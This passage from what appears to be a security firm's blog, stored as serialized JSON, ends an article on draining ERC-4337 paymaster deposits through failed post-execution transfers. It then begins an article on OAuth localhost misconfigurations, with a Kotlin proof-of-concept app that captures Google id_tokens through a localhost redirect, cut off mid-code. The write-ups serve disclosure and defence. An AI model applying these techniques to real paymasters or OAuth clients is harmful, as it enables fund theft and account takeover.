",{"type":26,"tag":217,"props":63967,"children":63968},{"style":7149},[63969],{"type":32,"value":18420},{"type":26,"tag":217,"props":63971,"children":63972},{"style":7048},[63973],{"type":32,"value":63974}," costInToken);\n",{"type":26,"tag":217,"props":63976,"children":63977},{"class":7028,"line":8220},[63978],{"type":26,"tag":217,"props":63979,"children":63980},{"style":7048},[63981],{"type":32,"value":8722},{"type":26,"tag":217,"props":63983,"children":63984},{"class":7028,"line":8228},[63985],{"type":26,"tag":217,"props":63986,"children":63987},{"emptyLinePlaceholder":17},[63988],{"type":32,"value":7817},{"type":26,"tag":217,"props":63990,"children":63991},{"class":7028,"line":8292},[63992,63997,64001],{"type":26,"tag":217,"props":63993,"children":63994},{"style":7042},[63995],{"type":32,"value":63996},"        emit",{"type":26,"tag":217,"props":63998,"children":63999},{"style":7064},[64000],{"type":32,"value":60862},{"type":26,"tag":217,"props":64002,"children":64003},{"style":7048},[64004],{"type":32,"value":64005},"(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n",{"type":26,"tag":217,"props":64007,"children":64008},{"class":7028,"line":8351},[64009],{"type":26,"tag":217,"props":64010,"children":64011},{"style":7048},[64012],{"type":32,"value":9754},{"type":26,"tag":39,"props":64014,"children":64015},{},[64016,64018,64023,64025,64031,64033,64039,64041,64046,64048,64053],{"type":32,"value":64017},"As shown above, the paymaster calculates the actual gas used and attempts to charge the user by calling ",{"type":26,"tag":83,"props":64019,"children":64021},{"className":64020},[],[64022],{"type":32,"value":60125},{"type":32,"value":64024},". Note that ",{"type":26,"tag":83,"props":64026,"children":64028},{"className":64027},[],[64029],{"type":32,"value":64030},"preFundCharged",{"type":32,"value":64032}," can be zero, as users can opt out of any ",{"type":26,"tag":83,"props":64034,"children":64036},{"className":64035},[],[64037],{"type":32,"value":64038},"preFund",{"type":32,"value":64040}," during the validation phase. If the user hasn't given sufficient allowance to Pimlico's paymaster for the transfer, the ",{"type":26,"tag":83,"props":64042,"children":64044},{"className":64043},[],[64045],{"type":32,"value":60927},{"type":32,"value":64047}," call inside ",{"type":26,"tag":83,"props":64049,"children":64051},{"className":64050},[],[64052],{"type":32,"value":62017},{"type":32,"value":64054}," will revert and the paymaster won't be able to collect payment from the user.",{"type":26,"tag":39,"props":64056,"children":64057},{},[64058,64060,64065,64067,64073,64075,64081],{"type":32,"value":64059},"However, even when ",{"type":26,"tag":83,"props":64061,"children":64063},{"className":64062},[],[64064],{"type":32,"value":60927},{"type":32,"value":64066}," fails, the EntryPoint will still complete the execution and pay the bundler who submitted it. Importantly, this payment comes from the paymaster's deposit, since during validation the ",{"type":26,"tag":83,"props":64068,"children":64070},{"className":64069},[],[64071],{"type":32,"value":64072},"requiredPrefund",{"type":32,"value":64074}," was taken from the paymaster's ",{"type":26,"tag":163,"props":64076,"children":64079},{"href":64077,"rel":64078},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L625-L627",[167],[64080],{"type":32,"value":22601},{"type":32,"value":180},{"type":26,"tag":39,"props":64083,"children":64084},{},[64085,64087,64092],{"type":32,"value":64086},"This creates a critical vulnerability for paymasters that implement post-execution charging patterns. Even if the ",{"type":26,"tag":83,"props":64088,"children":64090},{"className":64089},[],[64091],{"type":32,"value":60927},{"type":32,"value":64093}," call fails (meaning the paymaster couldn't collect payment from the user), the paymaster still has to pay the bundler's gas costs from their deposited funds. This vulnerability can be exploited by malicious bundlers in the following way:",{"type":26,"tag":6712,"props":64095,"children":64096},{},[64097,64115,64134,64146,64151],{"type":26,"tag":2044,"props":64098,"children":64099},{},[64100,64102,64107,64109],{"type":32,"value":64101},"The bundler creates a ",{"type":26,"tag":83,"props":64103,"children":64105},{"className":64104},[],[64106],{"type":32,"value":58657},{"type":32,"value":64108}," with an intentionally high ",{"type":26,"tag":83,"props":64110,"children":64112},{"className":64111},[],[64113],{"type":32,"value":64114},"gasPrice",{"type":26,"tag":2044,"props":64116,"children":64117},{},[64118,64120,64125,64127,64132],{"type":32,"value":64119},"The bundler ensures the ",{"type":26,"tag":83,"props":64121,"children":64123},{"className":64122},[],[64124],{"type":32,"value":60927},{"type":32,"value":64126}," call will fail by revoking the paymaster's token allowance before ",{"type":26,"tag":83,"props":64128,"children":64130},{"className":64129},[],[64131],{"type":32,"value":60927},{"type":32,"value":64133}," executes",{"type":26,"tag":2044,"props":64135,"children":64136},{},[64137,64139,64144],{"type":32,"value":64138},"When ",{"type":26,"tag":83,"props":64140,"children":64142},{"className":64141},[],[64143],{"type":32,"value":60927},{"type":32,"value":64145}," fails, the bundler still gets paid their high gas costs by the paymaster",{"type":26,"tag":2044,"props":64147,"children":64148},{},[64149],{"type":32,"value":64150},"The paymaster loses money since they paid the bundler but couldn't collect from the user",{"type":26,"tag":2044,"props":64152,"children":64153},{},[64154],{"type":32,"value":64155},"The bundler profits as long as their actual gas costs are less than what they charged",{"type":26,"tag":39,"props":64157,"children":64158},{},[64159,64161,64166,64168,64173],{"type":32,"value":64160},"This effectively allows bundlers to drain paymaster deposits by submitting ",{"type":26,"tag":83,"props":64162,"children":64164},{"className":64163},[],[64165],{"type":32,"value":58686},{"type":32,"value":64167}," designed to fail during ",{"type":26,"tag":83,"props":64169,"children":64171},{"className":64170},[],[64172],{"type":32,"value":60927},{"type":32,"value":64174}," while maximizing the gas costs they can charge to the paymaster.",{"type":26,"tag":39,"props":64176,"children":64177},{},[64178,64180,64185,64187,64192,64194,64200,64202,64207],{"type":32,"value":64179},"Some paymasters try to protect against this by simulating the ",{"type":26,"tag":83,"props":64181,"children":64183},{"className":64182},[],[64184],{"type":32,"value":58657},{"type":32,"value":64186}," execution before signing and allowing it to be submitted. However, this protection can be easily bypassed because an attacker can simply approve the required token allowance during simulation to pass validation, but then revoke the allowance just before the ",{"type":26,"tag":83,"props":64188,"children":64190},{"className":64189},[],[64191],{"type":32,"value":58657},{"type":32,"value":64193}," is submitted via ",{"type":26,"tag":83,"props":64195,"children":64197},{"className":64196},[],[64198],{"type":32,"value":64199},"handleOps",{"type":32,"value":64201},". This means the ",{"type":26,"tag":83,"props":64203,"children":64205},{"className":64204},[],[64206],{"type":32,"value":60927},{"type":32,"value":64208}," will pass simulation but fail during actual execution, allowing the bundler to drain the paymaster's deposit from the EntryPoint.",{"type":26,"tag":39,"props":64210,"children":64211},{},[64212],{"type":32,"value":64213},"To protect against this vulnerability, paymasters should implement pre-execution charging patterns rather than post-execution charging. This means requiring users to pre-fund the full estimated gas cost during the validation phase, before the operation executes. By collecting payment upfront, the paymaster is protected against failed post-execution transfers that could be exploited by malicious bundlers.",{"type":26,"tag":39,"props":64215,"children":64216},{},[64217],{"type":32,"value":64218},"If post-execution charging is absolutely necessary for UX reasons, paymasters have several mitigation strategies available. One approach is to restrict usage to a whitelist of trusted bundlers, though this introduces centralization concerns. Alternatively, Pimlico tries to address this issue by tightening API limits and constraining ERC-20 usage for its users.",{"type":26,"tag":39,"props":64220,"children":64221},{},[64222],{"type":32,"value":64223},"The most secure approach is to require upfront pre-funding, even though it may temporarily lock more user funds. This small UX tradeoff is worth the strong security guarantees it provides against paymaster exploitation.",{"type":26,"tag":454,"props":64225,"children":64226},{"id":9272},[64227],{"type":32,"value":9275},{"type":26,"tag":39,"props":64229,"children":64230},{},[64231],{"type":32,"value":64232},"ERC-4337 paymasters enable powerful new UX patterns by abstracting away gas costs from end users. However, implementing them securely requires careful consideration of the standard's execution flow and potential attack vectors. The key lessons are:",{"type":26,"tag":6712,"props":64234,"children":64235},{},[64236,64241,64246,64251,64256],{"type":26,"tag":2044,"props":64237,"children":64238},{},[64239],{"type":32,"value":64240},"Always collect full payment during validation, not after execution",{"type":26,"tag":2044,"props":64242,"children":64243},{},[64244],{"type":32,"value":64245},"Be conservative with gas estimations and include safety margins",{"type":26,"tag":2044,"props":64247,"children":64248},{},[64249],{"type":32,"value":64250},"Carefully validate all user inputs and token transfers",{"type":26,"tag":2044,"props":64252,"children":64253},{},[64254],{"type":32,"value":64255},"Test extensively, including simulation of malicious behavior",{"type":26,"tag":2044,"props":64257,"children":64258},{},[64259,64261,64266],{"type":32,"value":64260},"Always review changes in new ",{"type":26,"tag":83,"props":64262,"children":64264},{"className":64263},[],[64265],{"type":32,"value":58738},{"type":32,"value":64267}," versions, as they may impact your paymaster's design and security assumptions",{"type":26,"tag":39,"props":64269,"children":64270},{},[64271,64273,64278,64280,64285,64287,64292],{"type":32,"value":64272},"The last point is particularly important as the ERC-4337 standard continues to evolve. Changes to the ",{"type":26,"tag":83,"props":64274,"children":64276},{"className":64275},[],[64277],{"type":32,"value":58738},{"type":32,"value":64279}," contract's behavior could potentially break existing ",{"type":26,"tag":83,"props":64281,"children":64283},{"className":64282},[],[64284],{"type":32,"value":58810},{"type":32,"value":64286}," implementations or introduce new security considerations. Developers should thoroughly review release notes and diffs when upgrading to new ",{"type":26,"tag":83,"props":64288,"children":64290},{"className":64289},[],[64291],{"type":32,"value":58738},{"type":32,"value":64293}," versions.",{"type":26,"tag":39,"props":64295,"children":64296},{},[64297],{"type":32,"value":64298},"By following these best practices, developers can build robust paymasters that enhance UX while protecting against exploitation. As the ERC-4337 ecosystem matures, secure paymaster implementations will be crucial for driving mainstream adoption of account abstraction.",{"type":26,"tag":39,"props":64300,"children":64301},{},[64302],{"type":32,"value":64303},"If you're building a paymaster and want to ensure it's secure against these and other vulnerabilities, consider getting an audit from us. Our team has extensive experience auditing ERC-4337 implementations and can help identify potential security issues before they impact production.",{"type":26,"tag":9282,"props":64305,"children":64306},{},[64307],{"type":32,"value":9286},{"title":8,"searchDepth":6770,"depth":6770,"links":64309},[64310,64311,64312,64319,64324,64325],{"id":58572,"depth":6770,"text":58575},{"id":58588,"depth":6770,"text":58591},{"id":58627,"depth":6770,"text":58630,"children":64313},[64314,64315,64316,64317,64318],{"id":58650,"depth":6779,"text":58657},{"id":58691,"depth":6779,"text":58694},{"id":58717,"depth":6779,"text":58720},{"id":58743,"depth":6779,"text":58738},{"id":58810,"depth":6779,"text":58821},{"id":58872,"depth":6770,"text":64320,"children":64321},"Understanding the EntryPoint's Flow",[64322,64323],{"id":58929,"depth":6779,"text":58932},{"id":59115,"depth":6779,"text":59118},{"id":59358,"depth":6770,"text":59364},{"id":60970,"depth":6770,"text":60976,"children":64326},[64327,64328],{"id":61031,"depth":6779,"text":61034},{"id":61090,"depth":6779,"text":61093},"content:blog:2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm",{"_path":64333,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":64334,"description":64335,"date":64336,"author":64337,"image":64338,"isFeatured":17,"onBlogPage":17,"tags":64340,"body":64343,"_type":6799,"_id":66737,"_source":6801,"_file":66738,"_stem":66739,"_extension":6804},"/blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations","How We Broke Exchanges: A Deep Dive Into Authentication And Client-Side Bugs","OAuth misconfigurations show how common dev settings can lead to account takeovers. Explore real cases where failing to account for differences between desktop and mobile environments left SDKs, exchanges, and wallets vulnerable to exploits.","2025-10-16T12:00:00.000Z",[6811,6812],{"src":64339,"width":6816,"height":6817},"/posts/oauth-misconfigurations/title.png",[64341,64342],"oAuth","exchanges",{"type":23,"children":64344,"toc":66724},[64345,64351,64356,64362,64383,64389,64394,64407,64412,64420,64434,64443,64452,64466,64474,64485,64547,64553,64565,64614,64620,64625,64638,64645,64656,64676,64695,64716,64722,64735,64740,64744,64763,65449,65454,65467,66327,66332,66337,66343,66348,66354,66359,66372,66412,66418,66431,66436,66470,66475,66480,66505,66510,66522,66678,66683,66689,66701,66706,66710,66715,66720],{"type":26,"tag":27,"props":64346,"children":64348},{"id":64347},"exploiting-oauth",[64349],{"type":32,"value":64350},"Exploiting OAuth",{"type":26,"tag":39,"props":64352,"children":64353},{},[64354],{"type":32,"value":64355},"Our main research focus was related to recent vulnerabilities we found in some of our audits. One common issue we find is related to OAuth misconfigurations that can be exploited to achieve account takeover. To understand the vulnerability and the exploit itself, we first need to dig into the different OAuth flows and the configurations that can be made in the Google Cloud Console.",{"type":26,"tag":607,"props":64357,"children":64359},{"id":64358},"google-authentication-flows",[64360],{"type":32,"value":64361},"Google Authentication Flows",{"type":26,"tag":39,"props":64363,"children":64364},{},[64365,64367,64373,64375,64381],{"type":32,"value":64366},"During our research, we identified various Google Authentication flows that require different exploitation methods. The new/most recent flow is called GSI, which mainly uses ",{"type":26,"tag":83,"props":64368,"children":64370},{"className":64369},[],[64371],{"type":32,"value":64372},"postMessage",{"type":32,"value":64374}," for communication with the Relying Party (RP), and the old one mostly uses ",{"type":26,"tag":83,"props":64376,"children":64378},{"className":64377},[],[64379],{"type":32,"value":64380},"redirect_uri",{"type":32,"value":64382}," to send the token back to the RP.",{"type":26,"tag":631,"props":64384,"children":64386},{"id":64385},"gsi-new-flow",[64387],{"type":32,"value":64388},"GSI (New Flow)",{"type":26,"tag":39,"props":64390,"children":64391},{},[64392],{"type":32,"value":64393},"The GSI flow also has two ways to authenticate the user to the RP:",{"type":26,"tag":2040,"props":64395,"children":64396},{},[64397,64402],{"type":26,"tag":2044,"props":64398,"children":64399},{},[64400],{"type":32,"value":64401},"Using FedCM API",{"type":26,"tag":2044,"props":64403,"children":64404},{},[64405],{"type":32,"value":64406},"Without using FedCM API",{"type":26,"tag":39,"props":64408,"children":64409},{},[64410],{"type":32,"value":64411},"FedCM (Federated Credentials Manager) is a new browser API that lets users authenticate natively to an RP using a third-party IdP.",{"type":26,"tag":39,"props":64413,"children":64414},{},[64415],{"type":26,"tag":9348,"props":64416,"children":64417},{},[64418],{"type":32,"value":64419},"FedCM Method",{"type":26,"tag":39,"props":64421,"children":64422},{},[64423,64425,64432],{"type":32,"value":64424},"The FedCM method basically follows this ",{"type":26,"tag":163,"props":64426,"children":64429},{"href":64427,"rel":64428},"https://privacysandbox.google.com/cookies/fedcm/why#user-interaction",[167],[64430],{"type":32,"value":64431},"user experience",{"type":32,"value":64433},". Users can log in by clicking a login button (which will open a \"choose your account\" prompt window) or by 1-tap UX (see images below).",{"type":26,"tag":39,"props":64435,"children":64436},{},[64437,64439],{"type":32,"value":64438},"The normal flow, clicking the \"sign in\" button:\n",{"type":26,"tag":6468,"props":64440,"children":64442},{"alt":9464,"src":64441},"/posts/oauth-misconfigurations/image1.png",[],{"type":26,"tag":39,"props":64444,"children":64445},{},[64446,64448],{"type":32,"value":64447},"One-Tap popup shown when you open the page:\n",{"type":26,"tag":6468,"props":64449,"children":64451},{"alt":9464,"src":64450},"/posts/oauth-misconfigurations/image2.png",[],{"type":26,"tag":39,"props":64453,"children":64454},{},[64455,64457,64464],{"type":32,"value":64456},"Both flows use FedCM API to authenticate using Google IdP service, which makes some CORS requests to the IdP server to return the token. After authenticating the first time, when the user returns to the same website after some time, it is possible to automatically reauthenticate using ",{"type":26,"tag":163,"props":64458,"children":64461},{"href":64459,"rel":64460},"https://github.com/w3c-fedid/FedCM/issues/429",[167],[64462],{"type":32,"value":64463},"FedCM auto-reauthentication",{"type":32,"value":64465},", which has certain preconditions that must be met.",{"type":26,"tag":39,"props":64467,"children":64468},{},[64469],{"type":26,"tag":9348,"props":64470,"children":64471},{},[64472],{"type":32,"value":64473},"Non-FedCM Method",{"type":26,"tag":39,"props":64475,"children":64476},{},[64477,64479,64484],{"type":32,"value":64478},"This method uses a popup window (or iframe) to open the Google OAuth consent page and return the token via ",{"type":26,"tag":83,"props":64480,"children":64482},{"className":64481},[],[64483],{"type":32,"value":64372},{"type":32,"value":1473},{"type":26,"tag":6712,"props":64486,"children":64487},{},[64488,64493,64519,64524,64535],{"type":26,"tag":2044,"props":64489,"children":64490},{},[64491],{"type":32,"value":64492},"The user clicks the sign in button",{"type":26,"tag":2044,"props":64494,"children":64495},{},[64496,64498,64504,64506,64512,64513],{"type":32,"value":64497},"RP opens a popup/iframe to ",{"type":26,"tag":163,"props":64499,"children":64502},{"href":64500,"rel":64501},"https://accounts.google.com/o/oauth2/v2/auth",[167],[64503],{"type":32,"value":64500},{"type":32,"value":64505}," with some important parameters like ",{"type":26,"tag":83,"props":64507,"children":64509},{"className":64508},[],[64510],{"type":32,"value":64511},"client_id",{"type":32,"value":1308},{"type":26,"tag":83,"props":64514,"children":64516},{"className":64515},[],[64517],{"type":32,"value":64518},"origin",{"type":26,"tag":2044,"props":64520,"children":64521},{},[64522],{"type":32,"value":64523},"The user clicks the \"Continue\" button to authorize authentication",{"type":26,"tag":2044,"props":64525,"children":64526},{},[64527,64529],{"type":32,"value":64528},"They get redirected to ",{"type":26,"tag":163,"props":64530,"children":64533},{"href":64531,"rel":64532},"https://accounts.google.com/gsi/transform",[167],[64534],{"type":32,"value":64531},{"type":26,"tag":2044,"props":64536,"children":64537},{},[64538,64540,64545],{"type":32,"value":64539},"/gsi/transform sends the token back to the RP via ",{"type":26,"tag":83,"props":64541,"children":64543},{"className":64542},[],[64544],{"type":32,"value":64372},{"type":32,"value":64546}," (after some SYN/ACK messages)",{"type":26,"tag":631,"props":64548,"children":64550},{"id":64549},"oauth-20-old-flow",[64551],{"type":32,"value":64552},"OAuth 2.0 Old Flow",{"type":26,"tag":39,"props":64554,"children":64555},{},[64556,64558,64563],{"type":32,"value":64557},"The old flow also redirects the user to the Google OAuth consent page and then returns the token via a ",{"type":26,"tag":83,"props":64559,"children":64561},{"className":64560},[],[64562],{"type":32,"value":64380},{"type":32,"value":64564}," provided in the URL and validated by a whitelist configuration:",{"type":26,"tag":6712,"props":64566,"children":64567},{},[64568,64572,64593,64597],{"type":26,"tag":2044,"props":64569,"children":64570},{},[64571],{"type":32,"value":64492},{"type":26,"tag":2044,"props":64573,"children":64574},{},[64575,64576,64581,64582,64587,64588],{"type":32,"value":64497},{"type":26,"tag":163,"props":64577,"children":64579},{"href":64500,"rel":64578},[167],[64580],{"type":32,"value":64500},{"type":32,"value":64505},{"type":26,"tag":83,"props":64583,"children":64585},{"className":64584},[],[64586],{"type":32,"value":64511},{"type":32,"value":1308},{"type":26,"tag":83,"props":64589,"children":64591},{"className":64590},[],[64592],{"type":32,"value":64380},{"type":26,"tag":2044,"props":64594,"children":64595},{},[64596],{"type":32,"value":64523},{"type":26,"tag":2044,"props":64598,"children":64599},{},[64600,64601,64606,64608],{"type":32,"value":64528},{"type":26,"tag":83,"props":64602,"children":64604},{"className":64603},[],[64605],{"type":32,"value":64380},{"type":32,"value":64607}," with the token in the query parameters or ",{"type":26,"tag":83,"props":64609,"children":64611},{"className":64610},[],[64612],{"type":32,"value":64613},"location.hash",{"type":26,"tag":631,"props":64615,"children":64617},{"id":64616},"different-configurations",[64618],{"type":32,"value":64619},"Different Configurations",{"type":26,"tag":39,"props":64621,"children":64622},{},[64623],{"type":32,"value":64624},"These two flows must be configured differently in the Google Cloud Console. There are two whitelist configurations that we can control:",{"type":26,"tag":2040,"props":64626,"children":64627},{},[64628,64633],{"type":26,"tag":2044,"props":64629,"children":64630},{},[64631],{"type":32,"value":64632},"Authorized origins",{"type":26,"tag":2044,"props":64634,"children":64635},{},[64636],{"type":32,"value":64637},"Authorized redirect URIs",{"type":26,"tag":39,"props":64639,"children":64640},{},[64641],{"type":26,"tag":6468,"props":64642,"children":64644},{"alt":9464,"src":64643},"/posts/oauth-misconfigurations/image3.png",[],{"type":26,"tag":39,"props":64646,"children":64647},{},[64648,64650,64655],{"type":32,"value":64649},"The described GSI flow doesn't use any redirection to send the token back to the RP, so the authorized redirect URI is not that important in the GSI flow. It uses the authorized origins to verify if the RP page is actually allowed to be authenticated using that ",{"type":26,"tag":83,"props":64651,"children":64653},{"className":64652},[],[64654],{"type":32,"value":64511},{"type":32,"value":180},{"type":26,"tag":39,"props":64657,"children":64658},{},[64659,64661,64667,64669,64674],{"type":32,"value":64660},"The actual verification in the GSI flow happens in the CORS requests made by FedCM or in ",{"type":26,"tag":83,"props":64662,"children":64664},{"className":64663},[],[64665],{"type":32,"value":64666},"/oauth2/v2/auth",{"type":32,"value":64668}," by checking the ",{"type":26,"tag":83,"props":64670,"children":64672},{"className":64671},[],[64673],{"type":32,"value":64518},{"type":32,"value":64675}," query parameter.",{"type":26,"tag":39,"props":64677,"children":64678},{},[64679,64681,64686,64688,64693],{"type":32,"value":64680},"In the old flow, the ",{"type":26,"tag":83,"props":64682,"children":64684},{"className":64683},[],[64685],{"type":32,"value":64380},{"type":32,"value":64687}," parameter passed in the ",{"type":26,"tag":83,"props":64689,"children":64691},{"className":64690},[],[64692],{"type":32,"value":64666},{"type":32,"value":64694}," endpoint is validated against the authorized redirect URIs.",{"type":26,"tag":39,"props":64696,"children":64697},{},[64698,64700,64705,64707,64714],{"type":32,"value":64699},"Note that the new GSI flow can also have a different flow using ",{"type":26,"tag":83,"props":64701,"children":64703},{"className":64702},[],[64704],{"type":32,"value":64380},{"type":32,"value":64706}," validation. To execute this flow, you need to specify ",{"type":26,"tag":163,"props":64708,"children":64711},{"href":64709,"rel":64710},"https://developers.google.com/identity/gsi/web/reference/js-reference#login_uri",[167],[64712],{"type":32,"value":64713},"login_uri",{"type":32,"value":64715}," while using the SDK.",{"type":26,"tag":607,"props":64717,"children":64719},{"id":64718},"localhost-exploit",[64720],{"type":32,"value":64721},"Localhost Exploit",{"type":26,"tag":39,"props":64723,"children":64724},{},[64725,64727,64733],{"type":32,"value":64726},"During one of our audits, we found a bug related to how developers test the OAuth flow in their development environment. Developers often whitelist the ",{"type":26,"tag":83,"props":64728,"children":64730},{"className":64729},[],[64731],{"type":32,"value":64732},"localhost",{"type":32,"value":64734}," origin because it is considered trusted for local testing.",{"type":26,"tag":39,"props":64736,"children":64737},{},[64738],{"type":32,"value":64739},"Actually, this is partially true, as it depends on which security assumptions you make. This can be an issue in a mobile environment, as mobile apps can open localhost webservers without many permissions, and having a malicious app installed is not considered a significant issue on mobile since all applications are sandboxed. This configuration allows a malicious application to \"escape\" the sandbox and attack another system.",{"type":26,"tag":631,"props":64741,"children":64742},{"id":37050},[64743],{"type":32,"value":37053},{"type":26,"tag":39,"props":64745,"children":64746},{},[64747,64749,64754,64755,64761],{"type":32,"value":64748},"To exploit this misconfiguration, we first needed to understand the OAuth flow used by the target. If the OAuth implementation follows a standard flow without using Google Sign-In (GSI), we can extract the token via ",{"type":26,"tag":83,"props":64750,"children":64752},{"className":64751},[],[64753],{"type":32,"value":64613},{"type":32,"value":9438},{"type":26,"tag":83,"props":64756,"children":64758},{"className":64757},[],[64759],{"type":32,"value":64760},"location.search",{"type":32,"value":64762},". To achieve this, we developed a Kotlin application that spins up a local web server:",{"type":26,"tag":207,"props":64764,"children":64768},{"className":64765,"code":64766,"language":64767,"meta":8,"style":8},"language-kt shiki shiki-themes slack-dark"," override fun onCreate(savedInstanceState: Bundle?){\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.hash;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n","kt",[64769],{"type":26,"tag":83,"props":64770,"children":64771},{"__ignoreMap":8},[64772,64805,64827,64834,64842,64864,64876,64889,64923,64948,64998,65005,65012,65019,65027,65049,65085,65098,65105,65112,65132,65158,65170,65191,65208,65220,65246,65285,65306,65313,65325,65352,65364,65377,65385,65392,65399,65406,65413,65442],{"type":26,"tag":217,"props":64773,"children":64774},{"class":7028,"line":7029},[64775,64780,64785,64790,64795,64800],{"type":26,"tag":217,"props":64776,"children":64777},{"style":7154},[64778],{"type":32,"value":64779}," override",{"type":26,"tag":217,"props":64781,"children":64782},{"style":7154},[64783],{"type":32,"value":64784}," fun",{"type":26,"tag":217,"props":64786,"children":64787},{"style":7064},[64788],{"type":32,"value":64789}," onCreate",{"type":26,"tag":217,"props":64791,"children":64792},{"style":7048},[64793],{"type":32,"value":64794},"(savedInstanceState: ",{"type":26,"tag":217,"props":64796,"children":64797},{"style":7119},[64798],{"type":32,"value":64799},"Bundle",{"type":26,"tag":217,"props":64801,"children":64802},{"style":7048},[64803],{"type":32,"value":64804},"?){\n",{"type":26,"tag":217,"props":64806,"children":64807},{"class":7028,"line":6770},[64808,64813,64817,64822],{"type":26,"tag":217,"props":64809,"children":64810},{"style":7154},[64811],{"type":32,"value":64812},"        super",{"type":26,"tag":217,"props":64814,"children":64815},{"style":7048},[64816],{"type":32,"value":180},{"type":26,"tag":217,"props":64818,"children":64819},{"style":7064},[64820],{"type":32,"value":64821},"onCreate",{"type":26,"tag":217,"props":64823,"children":64824},{"style":7048},[64825],{"type":32,"value":64826},"(savedInstanceState)\n",{"type":26,"tag":217,"props":64828,"children":64829},{"class":7028,"line":6779},[64830],{"type":26,"tag":217,"props":64831,"children":64832},{"emptyLinePlaceholder":17},[64833],{"type":32,"value":7817},{"type":26,"tag":217,"props":64835,"children":64836},{"class":7028,"line":7140},[64837],{"type":26,"tag":217,"props":64838,"children":64839},{"style":7033},[64840],{"type":32,"value":64841},"        // Start the Ktor web server\n",{"type":26,"tag":217,"props":64843,"children":64844},{"class":7028,"line":7165},[64845,64850,64855,64860],{"type":26,"tag":217,"props":64846,"children":64847},{"style":7064},[64848],{"type":32,"value":64849},"        CoroutineScope",{"type":26,"tag":217,"props":64851,"children":64852},{"style":7048},[64853],{"type":32,"value":64854},"(Dispatchers.IO).",{"type":26,"tag":217,"props":64856,"children":64857},{"style":7064},[64858],{"type":32,"value":64859},"launch",{"type":26,"tag":217,"props":64861,"children":64862},{"style":7048},[64863],{"type":32,"value":8064},{"type":26,"tag":217,"props":64865,"children":64866},{"class":7028,"line":7178},[64867,64872],{"type":26,"tag":217,"props":64868,"children":64869},{"style":7042},[64870],{"type":32,"value":64871},"            try",{"type":26,"tag":217,"props":64873,"children":64874},{"style":7048},[64875],{"type":32,"value":8064},{"type":26,"tag":217,"props":64877,"children":64878},{"class":7028,"line":7389},[64879,64884],{"type":26,"tag":217,"props":64880,"children":64881},{"style":7064},[64882],{"type":32,"value":64883},"                startWebServer",{"type":26,"tag":217,"props":64885,"children":64886},{"style":7048},[64887],{"type":32,"value":64888},"()\n",{"type":26,"tag":217,"props":64890,"children":64891},{"class":7028,"line":7406},[64892,64897,64901,64905,64910,64914,64919],{"type":26,"tag":217,"props":64893,"children":64894},{"style":7048},[64895],{"type":32,"value":64896},"                Log.",{"type":26,"tag":217,"props":64898,"children":64899},{"style":7064},[64900],{"type":32,"value":22057},{"type":26,"tag":217,"props":64902,"children":64903},{"style":7048},[64904],{"type":32,"value":1851},{"type":26,"tag":217,"props":64906,"children":64907},{"style":7338},[64908],{"type":32,"value":64909},"\"WebServer\"",{"type":26,"tag":217,"props":64911,"children":64912},{"style":7048},[64913],{"type":32,"value":7599},{"type":26,"tag":217,"props":64915,"children":64916},{"style":7338},[64917],{"type":32,"value":64918},"\"Server started on http://localhost:3000\"",{"type":26,"tag":217,"props":64920,"children":64921},{"style":7048},[64922],{"type":32,"value":10025},{"type":26,"tag":217,"props":64924,"children":64925},{"class":7028,"line":7439},[64926,64930,64934,64939,64944],{"type":26,"tag":217,"props":64927,"children":64928},{"style":7048},[64929],{"type":32,"value":60702},{"type":26,"tag":217,"props":64931,"children":64932},{"style":7154},[64933],{"type":32,"value":24775},{"type":26,"tag":217,"props":64935,"children":64936},{"style":7048},[64937],{"type":32,"value":64938}," (e: ",{"type":26,"tag":217,"props":64940,"children":64941},{"style":7119},[64942],{"type":32,"value":64943},"Exception",{"type":26,"tag":217,"props":64945,"children":64946},{"style":7048},[64947],{"type":32,"value":7618},{"type":26,"tag":217,"props":64949,"children":64950},{"class":7028,"line":7487},[64951,64955,64959,64963,64967,64971,64976,64980,64985,64989,64993],{"type":26,"tag":217,"props":64952,"children":64953},{"style":7048},[64954],{"type":32,"value":64896},{"type":26,"tag":217,"props":64956,"children":64957},{"style":7064},[64958],{"type":32,"value":2400},{"type":26,"tag":217,"props":64960,"children":64961},{"style":7048},[64962],{"type":32,"value":1851},{"type":26,"tag":217,"props":64964,"children":64965},{"style":7338},[64966],{"type":32,"value":64909},{"type":26,"tag":217,"props":64968,"children":64969},{"style":7048},[64970],{"type":32,"value":7599},{"type":26,"tag":217,"props":64972,"children":64973},{"style":7338},[64974],{"type":32,"value":64975},"\"Error starting server: ",{"type":26,"tag":217,"props":64977,"children":64978},{"style":7154},[64979],{"type":32,"value":7641},{"type":26,"tag":217,"props":64981,"children":64982},{"style":7149},[64983],{"type":32,"value":64984},"e.message",{"type":26,"tag":217,"props":64986,"children":64987},{"style":7154},[64988],{"type":32,"value":7659},{"type":26,"tag":217,"props":64990,"children":64991},{"style":7338},[64992],{"type":32,"value":9007},{"type":26,"tag":217,"props":64994,"children":64995},{"style":7048},[64996],{"type":32,"value":64997},", 